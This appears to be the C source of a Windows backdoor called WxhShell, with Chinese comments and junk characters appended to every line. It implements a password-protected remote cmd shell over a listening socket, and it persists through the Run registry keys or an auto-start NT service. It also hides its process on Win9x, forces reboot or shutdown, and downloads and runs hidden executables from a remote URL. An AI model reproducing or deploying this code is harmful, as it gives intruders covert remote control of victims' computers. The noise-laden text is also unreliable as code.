    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Yl ea,S  
    else { dR_6j}  
    closesocket(wsh); (_@]-   
    ExitThread(0); cK\ u  
    } |,=^P` #%  
    break; ~Gh7i>n*  
    } 1anh@T.  
  // 获取shell 479X5Cl  
  case 's': { WvArppANo  
    CmdShell(wsh); 5oCg&aT  
    closesocket(wsh); ~4=*kJ#7  
    ExitThread(0); RR:%"4M  
    break; mj9sX^$ dE  
  } XC;Icr)  
  // 退出 gjz-CY.hz  
  case 'x': { QnP3U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %x{kd8>u!  
    CloseIt(wsh); / yBrlf  
    break; /W*Z.  
    } ]&P\|b1*g  
  // 离开 {K"hlu[  
  case 'q': { })70S8k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [[^95:  
    closesocket(wsh); :] U\{;q2  
    WSACleanup(); w1-P6cf  
    exit(1); K,! V _  
    break; Z- a  
        } Dj c-f  
  } vK+reXE  
  } A-uIZ zC  
LWTPNp:"{w  
  // 提示信息 RjvW*'2G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =9 )k:S(  
} ZQfPDH=  
  } y9d"sqyh  
`#l3a  
  return; -3) jUzD  
} [|c%<|d2  
j-R*!i  
// shell模块句柄 )kI**mI}  
int CmdShell(SOCKET sock) 7p]Izx8][  
{ U'9z.2"}9  
STARTUPINFO si; q!'p   
ZeroMemory(&si,sizeof(si)); _ h#I}uJ~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TvDC4tm-:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `?N0?;  
PROCESS_INFORMATION ProcessInfo; m }HaJ  
char cmdline[]="cmd";  P33xt~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =c*l!."0  
  return 0; >L!c} Ku  
} _9 '_w&  
v ;}s`P\"  
// 自身启动模式 EZ|v,1`e  
int StartFromService(void) 4LB8p7$|a3  
{ E}S%yD[  
typedef struct J+E,UiZU  
{ n}A!aC  
  DWORD ExitStatus; =HsE:@  
  DWORD PebBaseAddress; Q*%}w_D6f  
  DWORD AffinityMask; kUS]g r~i  
  DWORD BasePriority; egG<"e*W}N  
  ULONG UniqueProcessId; :yD>Tn;1  
  ULONG InheritedFromUniqueProcessId; HLwMo&*rA  
}   PROCESS_BASIC_INFORMATION; r#4/~a5i~  
lD3nz<p  
PROCNTQSIP NtQueryInformationProcess; -c0ypz  
7>j~;p{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5a_8`csu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PgK7CG7G  
y-bUVw!Y  
  HANDLE             hProcess; +Z|3[#W  
  PROCESS_BASIC_INFORMATION pbi; u>:(MARsR  
/o m++DxV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RhHm[aN  
  if(NULL == hInst ) return 0; U3V5Jo r#  
1s.2z[B~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |SjRss:i+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;mk[!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (V jU,'h  
`2@.%s1o=  
  if (!NtQueryInformationProcess) return 0; R'tKJ_VI  
r niM[7K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [DM0'4  
  if(!hProcess) return 0; ,oA<xP-*  
esnq/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6ABK)m-y  
:+PE1=v  
  CloseHandle(hProcess); ={ms@/e/T  
MHK|\Z&e7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y')OmR2h  
if(hProcess==NULL) return 0; ,u2Qkw  
P Y^#hC5:  
HMODULE hMod; ^HJ?k:u  
char procName[255]; WrGnLE kiV  
unsigned long cbNeeded; Mq Ai}z%  
vW=L{8zu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _5-h\RB)  
H TOr  
  CloseHandle(hProcess); '&![h7B  
~pQN#C)CO>  
if(strstr(procName,"services")) return 1; // 以服务启动 MWh Y&I+  
a^p#M  
  return 0; // 注册表启动 yk`qF'4]  
} )e,O+w"  
Y/FPkH4  
// 主模块 h0rPMd(K  
int StartWxhshell(LPSTR lpCmdLine) 8 XB[CbO  
{ ^'V :T Y  
  SOCKET wsl; rKrHd  
BOOL val=TRUE; f 5v&4  
  int port=0; k9;^|Cm k  
  struct sockaddr_in door; 8#7qHT;cx  
+ t5SrO!`  
  if(wscfg.ws_autoins) Install(); Tf86CH=)5  
pZ.b X  
port=atoi(lpCmdLine); CP~ZIIip"  
\x}\)m_7M<  
if(port<=0) port=wscfg.ws_port;  m[B#k$  
@vt.Db  
  WSADATA data; 9RJF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h)HEexyRg  
Kgu8E:nL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I x%>aee  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kUf i  
  door.sin_family = AF_INET; (aa2uctTn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {rUg,y{v  
  door.sin_port = htons(port); eluN~T:W  
@&ZQDi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "Wwu Ty|  
closesocket(wsl); p%3z*2,(  
return 1; At iUTA  
} .$18%jH#  
Cq\XLh `  
  if(listen(wsl,2) == INVALID_SOCKET) { < (xqw<)  
closesocket(wsl); y?<KN0j  
return 1; %y6(+I #P  
} G](4!G&  
  Wxhshell(wsl); gc.Lh~  
  WSACleanup(); .5(YL8d  
 K& #il  
return 0; t*gZcw5 r  
.S/ 5kLul  
} o.{W_k/n  
D:1@1Jr  
// 以NT服务方式启动 b6N[t _,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m2j&0z  
{ 8:,($a/KF  
DWORD   status = 0; kFn/dQ4|  
  DWORD   specificError = 0xfffffff; V*giF`gq  
O[Vet/^)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Muo E~K2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <\^0!v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QqA=QTZ}  
  serviceStatus.dwWin32ExitCode     = 0; v'W{+>.  
  serviceStatus.dwServiceSpecificExitCode = 0; lP F326e  
  serviceStatus.dwCheckPoint       = 0; h_%q`y,  
  serviceStatus.dwWaitHint       = 0; .^Sgl o  
VeYT[Us"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7IX8ck[D  
  if (hServiceStatusHandle==0) return; v>8C}d^  
@+gr/Pul^  
status = GetLastError(); J}#gTG( '  
  if (status!=NO_ERROR) ?=? _32O  
{ $ DL}jH^S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q[&Kr+)j  
    serviceStatus.dwCheckPoint       = 0; -s3`mc}*  
    serviceStatus.dwWaitHint       = 0; qoO`)<  
    serviceStatus.dwWin32ExitCode     = status; 4&}%GH>}  
    serviceStatus.dwServiceSpecificExitCode = specificError; u 272)@R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kxMvOB$  
    return; paqGW]  
  } *N">93:  
Jo5Bmh0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YM}a>o  
  serviceStatus.dwCheckPoint       = 0; F]ao Ty  
  serviceStatus.dwWaitHint       = 0; h?mDtMCw2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S,m(  
} \P<aK$g  
5Gz!Bf@!!  
// 处理NT服务事件,比如:启动、停止 2S?7j[@%i`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >,e^}K}C  
{ =;Gq:mHi  
switch(fdwControl) Vrt$/ d  
{ F9fLJol  
case SERVICE_CONTROL_STOP: 5,"c1[`-  
  serviceStatus.dwWin32ExitCode = 0; ,md_eGF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fiGTI}=P  
  serviceStatus.dwCheckPoint   = 0; UA>=# $  
  serviceStatus.dwWaitHint     = 0; u]yy%@U1  
  { "q=Cye  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;4nY{)bD  
  } a-{|/ n%  
  return; ingG  
case SERVICE_CONTROL_PAUSE: ;b<w'A_1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n' ~ ==2  
  break; cQ8[XNa  
case SERVICE_CONTROL_CONTINUE: ~gDYb#p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F.[%0b E  
  break; lL D#|T3  
case SERVICE_CONTROL_INTERROGATE: Gv-VDRS  
  break; Q:-T' xk@  
}; TnF~'RZYb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V]7/hN-Y}  
} B7%K}|Qg  
4ud(5m;Rle  
// 标准应用程序主函数 nu0pzq\6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2"IV  
{ 8y LcTA$T  
}]x \ `}o  
// 获取操作系统版本 /K:r4Kw  
OsIsNt=GetOsVer(); HpnF,4A>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )w7vE\n3  
3~>-A=  
  // 从命令行安装 ,lZ19B?WP  
  if(strpbrk(lpCmdLine,"iI")) Install(); eh86-tQI~(  
CMj =4e  
  // 下载执行文件 ,'8%'xit  
if(wscfg.ws_downexe) { 8 v/H;65  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tFmB`*!%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6,>$Jzs)5E  
} K*~{M+lU7  
3=O [Q:8  
if(!OsIsNt) { w1/QnV  
// 如果时win9x,隐藏进程并且设置为注册表启动 oD2:19M@p  
HideProc(); Z& _kq|  
StartWxhshell(lpCmdLine); x[0T$  
} nWd!ovd  
else wvv+~K9jq  
  if(StartFromService()) Z"`w>c.  
  // 以服务方式启动 )lG}B U.  
  StartServiceCtrlDispatcher(DispatchTable); >h7(kj:  
else yE:y[k0E  
  // 普通方式启动 [\8rh^LFi  
  StartWxhshell(lpCmdLine); .n8R%|C5  
]s\r3I]  
return 0; z !K2UTX  
} 7HPwlS  
Nq8ON!<<  
(TZK~+]@sb  
"qmSwdM  
=========================================== *C_A(n5"V  
mskG2mA  
4.O)/0sU  
XZE(& (s  
MBWoPK  
b}! cEJY  
" \e86'&  
(0{Dn5MH  
#include <stdio.h> vk7IqlEQ  
#include <string.h> K[T0);hZR  
#include <windows.h> VVJ0?G (?  
#include <winsock2.h> j7}mh  
#include <winsvc.h> ,=)DykP  
#include <urlmon.h> zluq2r  
\BHZRytQF  
#pragma comment (lib, "Ws2_32.lib") ,r B(WKU  
#pragma comment (lib, "urlmon.lib") '2^}de!E  
Phn^0 iF  
#define MAX_USER   100 // 最大客户端连接数 ;Q{D]4  
#define BUF_SOCK   200 // sock buffer a\P:jgF  
#define KEY_BUFF   255 // 输入 buffer +XWTu!  
?_eLrz4>L^  
#define REBOOT     0   // 重启 FB6Lz5:Vf  
#define SHUTDOWN   1   // 关机 >|3Y+X  
?!RbS#QV}  
#define DEF_PORT   5000 // 监听端口 f^pBXz9&=  
um9&f~M  
#define REG_LEN     16   // 注册表键长度 ]it. R-  
#define SVC_LEN     80   // NT服务名长度 Cy-p1s  
ZF>:m>  
// 从dll定义API -d ,D!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [ja^Bhu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 13?:a[~=Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *7AB0y0k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ii0\Skb  
[UwQi!^-O  
// wxhshell配置信息 u62H+'k}F  
struct WSCFG { -Q? i16pM  
  int ws_port;         // 监听端口 [n"eD4)K|  
  char ws_passstr[REG_LEN]; // 口令 \(Ma>E4PNU  
  int ws_autoins;       // 安装标记, 1=yes 0=no @X/ 1`Mp  
  char ws_regname[REG_LEN]; // 注册表键名 }3lG'Y#Kpy  
  char ws_svcname[REG_LEN]; // 服务名 Uh/=HNR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1>*oN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N@thewt|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^Gk)aX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &eMd^l}:#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tl dK@!E3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,!Wo6{'  
%{ BV+&  
}; ? dJd7+A  
%bw+>:Tr  
// default Wxhshell configuration g4+K"Q /M  
struct WSCFG wscfg={DEF_PORT, 6FDj:~  
    "xuhuanlingzhe", "](Q2  
    1, wR_mJMk_  
    "Wxhshell", <zXG}JuL@T  
    "Wxhshell", / &Z8g4vc  
            "WxhShell Service", ?NA $<0  
    "Wrsky Windows CmdShell Service", P%R!\i  
    "Please Input Your Password: ",  ?s,oH  
  1, @|A!?}  
  "http://www.wrsky.com/wxhshell.exe", Sh#N5kgD  
  "Wxhshell.exe" 1uw1(iL+  
    }; .=:f]fs  
W3~u J(  
// 消息定义模块 jU-LT8y:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3I 0pHP5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q 4Pv\YO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; / =9Y(v  
char *msg_ws_ext="\n\rExit."; X3sAy(q  
char *msg_ws_end="\n\rQuit."; (Z<@dkO?)  
char *msg_ws_boot="\n\rReboot..."; [W )%0lx  
char *msg_ws_poff="\n\rShutdown..."; jm%P-C @  
char *msg_ws_down="\n\rSave to "; k[*9b:~  
8Yc-3ozH  
char *msg_ws_err="\n\rErr!"; h[dJNawL  
char *msg_ws_ok="\n\rOK!"; du$lS':`  
7 7bwYKIn  
char ExeFile[MAX_PATH]; 2S_u/32]W  
int nUser = 0; )2c]Z|  
HANDLE handles[MAX_USER]; X>$Wf3  
int OsIsNt; +E. D:  
bIm4s  
SERVICE_STATUS       serviceStatus; 4L>8RiiQE;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e!J5h <:  
>r`O@`^U  
// 函数声明 e/hCYoS1n  
int Install(void); yr'-;-u  
int Uninstall(void); Xc[ym  
int DownloadFile(char *sURL, SOCKET wsh); IhzY7U)}T  
int Boot(int flag); ou0TKE9 _  
void HideProc(void); OcUj_Zd  
int GetOsVer(void); A@o7  
int Wxhshell(SOCKET wsl); .4]XR/I$  
void TalkWithClient(void *cs); A$p&<#  
int CmdShell(SOCKET sock); z#G\D5yX[*  
int StartFromService(void); ~ AD>@;8fG  
int StartWxhshell(LPSTR lpCmdLine); aNry> 2:  
-`8@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }Rz,}^B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G9Xkim Q'  
m?wQk:Y1  
// 数据结构和表定义 Q>Ct]JW&  
SERVICE_TABLE_ENTRY DispatchTable[] = i'<hT q4  
{ qJF'KHyU{l  
{wscfg.ws_svcname, NTServiceMain}, wdj?T`4  
{NULL, NULL} <e#v9=}DI  
}; Q@}SR%p  
z:S:[X 0  
// 自我安装 6<@ mB Z  
int Install(void)  ,7:GLkj  
{ ;|K }  
  char svExeFile[MAX_PATH]; 1D[V{)#  
  HKEY key; 'bRf>=  
  strcpy(svExeFile,ExeFile); G1it 3^*$  
iJdJP)!tz6  
// 如果是win9x系统,修改注册表设为自启动 `'|6b5`2j  
if(!OsIsNt) { <Z t]V`-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . AA# G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); < e3] pM  
  RegCloseKey(key); L [PqEN\i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )'jGf;du  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M#Z^8(  
  RegCloseKey(key); E 1`g8Hk'  
  return 0; KT<i%)t2  
    } !.%*Tp#k#  
  } K"[jrvZ=  
} =W2.Nc  
else { #IGcQY  
M &-p  
// 如果是NT以上系统,安装为系统服务 K?M~x&Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t ^>07#z  
if (schSCManager!=0) u gRyUny  
{ Q~"Lyy8  
  SC_HANDLE schService = CreateService /Q W^v;^  
  ( DNj<:Pdd)  
  schSCManager, $'}|/D  
  wscfg.ws_svcname, Q65M(x+oy  
  wscfg.ws_svcdisp, 7h(  
  SERVICE_ALL_ACCESS, )+v5 H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  %o/@0.w  
  SERVICE_AUTO_START, O.#R r/+)  
  SERVICE_ERROR_NORMAL, KUPQ6v }  
  svExeFile, |H=5Am  
  NULL, Xgh%2 ;:  
  NULL, .+Q1h61$T  
  NULL, Q,9KLi3  
  NULL, T-n>+G{  
  NULL ~YNzSkz  
  ); %;]/Z%!  
  if (schService!=0) rc:UG "[  
  { zt]8F)l@  
  CloseServiceHandle(schService); 9'Z{uHi%  
  CloseServiceHandle(schSCManager); !M}-N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _`C|K>:  
  strcat(svExeFile,wscfg.ws_svcname); 3\{acm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z 9cb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *fd:(dN|  
  RegCloseKey(key); ?r]0%W^  
  return 0; )w}'kih  
    } _@?I)4n|  
  } qDg`4yX.}  
  CloseServiceHandle(schSCManager); T+0z.E!~I  
} I_Z?'M  
} g<F+Ldgj  
I|bX;l  
return 1; aA*h*  
} ,]qc#KDq-1  
rY &lx}  
// 自我卸载 8>|4iT  
int Uninstall(void) 8DD1wK\U~  
{ #6y fIvap  
  HKEY key; {?w *n_T.  
Ac*)z#H  
if(!OsIsNt) { Grw[h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9]chv>dO)=  
  RegDeleteValue(key,wscfg.ws_regname); W7s  
  RegCloseKey(key); <b4} B   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _;x`6LM  
  RegDeleteValue(key,wscfg.ws_regname); aFnyhu&W'  
  RegCloseKey(key); ?=?*W7  
  return 0; \2f?)id~  
  } ;eFV}DWW  
} zb~;<:<  
} T z:,l$  
else { pi;fu  
4ke.p<dG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $Y$s*h_-/<  
if (schSCManager!=0) nJgN2Z  
{ V#4oxkm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cjLA7I.O  
  if (schService!=0) M_?B*QZJI  
  { pxbuZ9w2Q  
  if(DeleteService(schService)!=0) { 1_xkGc-z<  
  CloseServiceHandle(schService); b V_<5PHP  
  CloseServiceHandle(schSCManager); -e51 /lhpd  
  return 0; >_\]c-~<  
  } DDT]A<WUV  
  CloseServiceHandle(schService); Q^Vch(`&P  
  } 2nFr?Y3g,  
  CloseServiceHandle(schSCManager); ( Q&jp!WU  
} isnpSN"z  
} C{-Dv-<A>  
h^."wv  
return 1; zEE:C|50  
} 'L1yFv  
djdSD  
// 从指定url下载文件 D+BflI~9mP  
int DownloadFile(char *sURL, SOCKET wsh) j9%vw.3b  
{ uW(Ngcpr  
  HRESULT hr; C3<_0eI  
char seps[]= "/"; w(M i?  
char *token; 6!U~dt#a  
char *file; E_z,%aD[  
char myURL[MAX_PATH]; *rm[\  
char myFILE[MAX_PATH]; |jWA >S  
&` "uKO]  
strcpy(myURL,sURL); =(<7o_gJ  
  token=strtok(myURL,seps); :h0!giqoQ  
  while(token!=NULL) Qc 1mR\.5  
  { % 5!Y#$:{o  
    file=token; : T4ap_Ycq  
  token=strtok(NULL,seps); p8CaD4bE  
  } 3=Xvl 58k  
I=E\=UTG,5  
GetCurrentDirectory(MAX_PATH,myFILE); ;$r!eFY;  
strcat(myFILE, "\\"); Nw1 .x  
strcat(myFILE, file); *z'Rl'j9[  
  send(wsh,myFILE,strlen(myFILE),0); hz2f7g  
send(wsh,"...",3,0); #\}xyPS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dKPx3Y'  
  if(hr==S_OK) :' !_PN  
return 0; IxWX2yJ]  
else `Z`o[]%  
return 1; PB:r+[91  
rG B*a8  
} .KYDYdoS'  
^'vWv C  
// 系统电源模块 _2})URU< S  
int Boot(int flag) k a8=`cn  
{ !uKuO  
  HANDLE hToken; :r_/mzR#  
  TOKEN_PRIVILEGES tkp; rN~V^k  
U`4t4CHA  
  if(OsIsNt) { Bo*Wm w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *u34~v16,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QSo48OFs  
    tkp.PrivilegeCount = 1; ,v*\2oG3^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m`,h nDp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (bogAi3<F  
if(flag==REBOOT) {  ZN;fDv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i+Xb3+R  
  return 0; yA<\?Ps  
} I]~UOl  
else { i:^ 8zW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J s,.$t  
  return 0; `b5pa`\4  
} a3_pF~Qx  
  } G7HvA46  
  else { .!1E7\  
if(flag==REBOOT) { o PA m*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s.!gsCQme  
  return 0; VC NQ}h[D  
} 3_Re>i  
else { lHgmljn5u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L 3C'q  
  return 0; sGJZG  
} )9rJ]D^B  
} DM !B@  
 [ "Jt2  
return 1; A@G%*\UZ  
} ^<e(3S:  
~,84E [VV  
// win9x进程隐藏模块 GplEad $  
void HideProc(void) dMH}%f5;1  
{ ]*AQT7PH  
`HM?Fc58  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -sk!XWW+  
  if ( hKernel != NULL ) #Ic-?2Gn4<  
  { ~w$ ^`e!]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NFb<fD[C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]A:G>K  
    FreeLibrary(hKernel); 5SHZRF(. 2  
  } 5q.)K f+  
zAd%dbU|  
return; zO)3MC7l*  
} )L7h:%h#  
h!]=)7x;  
// 获取操作系统版本 jL#`CD  
int GetOsVer(void) Bjsg!^X7  
{ \w@ "`!%  
  OSVERSIONINFO winfo; (, uW-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Md1ePp]  
  GetVersionEx(&winfo); a"X9cU[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B P0*`TY  
  return 1; s\ YHT.O?  
  else 2xpI|+ a%  
  return 0; |VML.u:N  
} n]P,5  
b(:U]>J  
// 客户端句柄模块 WQYw@M~4Q!  
int Wxhshell(SOCKET wsl) e[L%M:e9U  
{ #uH%J<U  
  SOCKET wsh; (wZ/I(4  
  struct sockaddr_in client; S8)6@ECC  
  DWORD myID; Jm*wlN [>  
hxuc4C\J  
  while(nUser<MAX_USER) +T]D\];D  
{ X?OH//co  
  int nSize=sizeof(client); .0'FW!;FV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &^^V*O  
  if(wsh==INVALID_SOCKET) return 1; O/PO?>@-/  
6^"Spf]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `-82u :"  
if(handles[nUser]==0) J0 x)NnWJ  
  closesocket(wsh); Meo. V|1  
else /~;om\7r  
  nUser++; D1 f}g  
  } w|8T6W|w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jB%aHUF;  
- 1tiy.^$F  
  return 0; L+2<J,   
} rl](0"Y0 t  
6Y&`mgMF'  
// 关闭 socket P jh3=Dr  
void CloseIt(SOCKET wsh) 5Z*6,P0  
{ % (x9~"  
closesocket(wsh); K0] 42K  
nUser--; , LVZ  
ExitThread(0); jS| 9jg:  
} &O.lIj#F R  
=2.q=a|'  
// 客户端请求句柄 [,/~*L;7  
void TalkWithClient(void *cs) ^s?=$&8f![  
{ )TzQ8YpO}  
6 ly`lu9  
  SOCKET wsh=(SOCKET)cs; w j<fi  
  char pwd[SVC_LEN]; =/MA`>  
  char cmd[KEY_BUFF]; jdAjCy;s!  
char chr[1]; &-hXk!A  
int i,j; ^K'@W  
yw+LT,AQ.  
  while (nUser < MAX_USER) { )>U7+ Me  
MC;2.e`  
if(wscfg.ws_passstr) { EK$3T5e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nv/'C=+L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ucA.9pJ  
  //ZeroMemory(pwd,KEY_BUFF); M A  
      i=0; E]dmXH8A  
  while(i<SVC_LEN) { oA]rwa UX  
h3t);}Y}D9  
  // 设置超时 5v,_ Hgh  
  fd_set FdRead; R-J^%4U`7  
  struct timeval TimeOut;  6>&h9@  
  FD_ZERO(&FdRead); |!E: [UH  
  FD_SET(wsh,&FdRead); JBt2R=  
  TimeOut.tv_sec=8; TNkvdE-S  
  TimeOut.tv_usec=0; fuF!3Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3  G_0DS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6w)a.^yx7  
xSy`VuSl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P:&X1MC  
  pwd=chr[0]; = 4 wf  
  if(chr[0]==0xd || chr[0]==0xa) { ZfP$6%;_  
  pwd=0; G_/Dz JBF  
  break; z^^)n  
  } N|\Q:<!2_w  
  i++; szC<ht?z  
    } X)b@ia'"Wp  
7B{LRm6;Vu  
  // 如果是非法用户,关闭 socket d=d*:<Zx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7oV$TAAf  
} H<Ik.]m  
M)1Y7?r]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }WDzzjDR+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k{ ~0BK  
TP{2q51yM  
while(1) { y XT8:2M  
Ra/Pk G-7  
  ZeroMemory(cmd,KEY_BUFF); VDTt}J8  
7m:ZG  
      // 自动支持客户端 telnet标准   (NC]S  
  j=0; E.eUd4XG  
  while(j<KEY_BUFF) { _9:r4|S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2mEvoWnJ  
  cmd[j]=chr[0]; mLm?yb:  
  if(chr[0]==0xa || chr[0]==0xd) { 7!U^?0?/  
  cmd[j]=0; `i<omZ[aT  
  break; @|([b r|O  
  } :T )R;E@  
  j++; N>xdX5  
    } j9xu21'!%  
)k.}>0K |  
  // 下载文件 5XoM)  
  if(strstr(cmd,"http://")) { h?'~/@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A<''x'\/  
  if(DownloadFile(cmd,wsh)) gy>B 5ie  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5.d[C/pRw  
  else sOVU>tb\'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L Q0e@5  
  } 4i7+'F  
  else { f~ wgMp.W0  
f0&%  
    switch(cmd[0]) { Q$(Fm a4a  
  ZeLed[J^xJ  
  // 帮助 ,49Z/P  
  case '?': { bEm9hFvd  
